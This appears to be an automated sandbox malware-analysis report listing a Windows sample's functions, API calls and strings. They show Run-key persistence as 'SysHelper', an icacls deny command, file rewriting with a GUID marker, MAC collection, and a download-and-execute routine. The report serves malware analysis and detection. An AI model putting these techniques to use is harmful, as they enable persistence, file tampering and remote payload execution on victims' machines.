Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF,?,00000000), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 711aae726824a3f6417d49be43418cf718a23e8bd64305c14ee617e9eb5bcc90
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 711aae726824a3f6417d49be43418cf718a23e8bd64305c14ee617e9eb5bcc90
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: bc413ef1927ad5c7ad4c63796ca5ebcd4ef3e5a2d970d576ee0f7f2f19d63589
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: bc413ef1927ad5c7ad4c63796ca5ebcd4ef3e5a2d970d576ee0f7f2f19d63589
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000,00000000,?), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008B0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Address: %s, mac: %s, xrefs: 0040E72D
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 86116fd0c9e432b104d34220e70c2ad806a44289ccaa01368c67fdd59d26a7a7
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 86116fd0c9e432b104d34220e70c2ad806a44289ccaa01368c67fdd59d26a7a7
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,00000007), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 34a904691ab4c7115eff38b4ba3a9c8ffb1c687cd8360d9ac18c8910c74e8e66
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 34a904691ab4c7115eff38b4ba3a9c8ffb1c687cd8360d9ac18c8910c74e8e66
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
SHGetFolderPathW, xrefs: 00411E9F
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
" --AutoStart, xrefs: 004120C2
D, xrefs: 00412128
Shell32.dll, xrefs: 00411E94
" --AutoStart, xrefs: 00411DD1
SysHelper, xrefs: 00411D5B, 004120EB
icacls ", xrefs: 0041214C

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: 7d65a5132706137db18c5fe48037afe22f5eba613bfb7f89df80d4703cc75cd1
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: 7d65a5132706137db18c5fe48037afe22f5eba613bfb7f89df80d4703cc75cd1
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004111C0 Relevance: 65.3, APIs: 36, Strings: 1, Instructions: 551
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
MoveFileW.KERNEL32(00000000,?), ref: 00411277
VirtualAlloc.KERNEL32(00000000,00025815,00001000,00000004,?,00000000,?), ref: 004112B1
_memset.LIBCMT ref: 004112C8
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00411301
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411314
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041131B
ReadFile.KERNEL32(00000000,00000000,00000026,?,00000000,?,00000000,?), ref: 00411349
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,?,00000000,?), ref: 00411381
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00411388
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?), ref: 004113E6
ReadFile.KERNEL32(00000000,00000000,00025805,?,00000000,?,00000000,?), ref: 00411409
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411417
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041141E
lstrlenA.KERNEL32(?,?,00000000,?), ref: 00411471
lstrlenA.KERNEL32(?,?,?,00000000,?), ref: 00411491
lstrlenA.KERNEL32(?,00000000,?,?,?,?,?,00000000,?), ref: 004114CF
SetFilePointer.KERNEL32(00000000,00000005,00000000,00000000,00000005,00000000,-000000FB,-000000FB,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 0041159D
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115D0
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115F8
WriteFile.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00411649
lstrlenA.KERNEL32({36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041166B
WriteFile.KERNEL32(00000000,{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411678
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 0041168D
MoveFileW.KERNEL32(?,?), ref: 004116D6
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004116EB

Strings

{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}, xrefs: 00411364, 00411666, 00411672

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: File$CloseHandleVirtual$FreePointerlstrlen$Write$MoveRead$AllocCreateSize_memset
String ID: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
API String ID: 254274740-1186676987
Opcode ID: 67ba23c4e60da19e29b85deb180764f40df74984fd64038453abc3837790648d
Instruction ID: 4b60432aefe4dd0e03df0e566fa74873db0e7dc4ed90acce11ed2be1fb3b5442
Opcode Fuzzy Hash: 67ba23c4e60da19e29b85deb180764f40df74984fd64038453abc3837790648d
Instruction Fuzzy Hash: E7229F70E00209EBDB10EBA5DC85FEEB7B8EF05304F10416AE519B7291DB785A85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041DBD0 Relevance: 49.6, APIs: 23, Strings: 5, Instructions: 565
networkfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040ECB0: _strtok.LIBCMT ref: 0040ED66

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0041DCF5
GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 0041DD01

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

UuidCreate.RPCRT4(?), ref: 0041DD3C
UuidToStringA.RPCRT4(?,?), ref: 0041DD57
RpcStringFreeA.RPCRT4(00000000), ref: 0041DDB4
PathAppendA.SHLWAPI(?,00000000), ref: 0041DDD3
CreateDirectoryA.KERNEL32(?,00000000), ref: 0041DDDC
_memset.LIBCMT ref: 0041DEE7
InternetOpenA.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0041DEFC

Part of subcall function 00412900: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

_wcsstr.LIBCMT ref: 0041DF50
InternetOpenUrlA.WININET(00000000,00000000), ref: 0041E07B

Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DD8D
Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DDB6
Part of subcall function 0040DD40: _memset.LIBCMT ref: 0040DDE4
Part of subcall function 0040DD40: lstrlenW.KERNEL32(?), ref: 0040DE0A
Part of subcall function 0040DD40: gethostbyname.WS2_32(00500134), ref: 0040DEA7

_memmove.LIBCMT ref: 0041DFDD
HttpQueryInfoW.WININET(00000000,20000013,?,00000000,00000000), ref: 0041E10D
lstrcpyA.KERNEL32(?,?), ref: 0041E229
PathAppendA.SHLWAPI(?,?), ref: 0041E23F
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?), ref: 0041E288
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041E2A0
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0041E2C7
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0041E2FB
CloseHandle.KERNEL32(00000000), ref: 0041E317
InternetCloseHandle.WININET(00000000), ref: 0041E324
InternetCloseHandle.WININET(?), ref: 0041E32A
ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0041E34D

Strings

SHGetFolderPathA, xrefs: 0041DCFB
.bit/, xrefs: 0041DF45
$run, xrefs: 0041DEAB
Shell32.dll, xrefs: 0041DCF0
Microsoft Internet Explorer, xrefs: 0041DEF7

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseCreateHandle_memset_wcsstr$AppendOpenPathStringUuid$AddressByteCharDirectoryExecuteFreeHttpInfoLibraryLoadMultiPointerProcQueryReadShellWideWrite_memmove_strtokgethostbynamelstrcpylstrlen
String ID: $run$.bit/$Microsoft Internet Explorer$SHGetFolderPathA$Shell32.dll
API String ID: 1843630811-800396732
Opcode ID: 2b01fed1e3ea97659209ac57362b67f9b01dd56c0cc9d1d0efcc8f92df038075
Instruction ID: dcf8a581e05b5da13000ef7a953c2c15a8b95d2250363c4482f8ef8be3b44f4c
Opcode Fuzzy Hash: 2b01fed1e3ea97659209ac57362b67f9b01dd56c0cc9d1d0efcc8f92df038075
Instruction Fuzzy Hash: BF32C070108380EFE730DF25C845B9BBBE4AF85308F10491EF99957291D7BA9589CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

Psapi.dll, xrefs: 0041228C
EnumProcessModules, xrefs: 0041226C, 004122A1
kernel32.dll, xrefs: 0041224E
GetModuleBaseNameW, xrefs: 00412277, 004122AC
EnumProcesses, xrefs: 00412264, 00412299

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041F130 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 689sleeptimewindowCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0041F15E
Sleep.KERNEL32(?), ref: 0041F185
Sleep.KERNEL32(?), ref: 0041F19D
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 0041F9D0

Part of subcall function 00410A50: GetLogicalDrives.KERNEL32 ref: 00410A75
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
Part of subcall function 00410A50: PathFileExistsA.SHLWAPI(?), ref: 00410AF9
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000000), ref: 00410B02
Part of subcall function 00410A50: GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Strings

C:\, xrefs: 0041F1FC, 0041F267, 0041F709, 0041F72E, 0041F736

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ErrorModeSleep$DriveDrivesExistsFileLogicalMessagePathSendTimeTypetime
String ID: C:\
API String ID: 3672571082-3404278061
Opcode ID: ee5eeb5b5d924122c2b57d9c70c0f369f9785ae746d6c30640644dabc93c199c
Instruction ID: 5c6d64671d491e840e8d62e2c9f1d443296aa8abdfe0033865403ad230f1735f
Opcode Fuzzy Hash: ee5eeb5b5d924122c2b57d9c70c0f369f9785ae746d6c30640644dabc93c199c
Instruction Fuzzy Hash: C842B171E003059BDF24DFA8C885BDEB7B1BF44308F14452EE805AB381D779A98ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
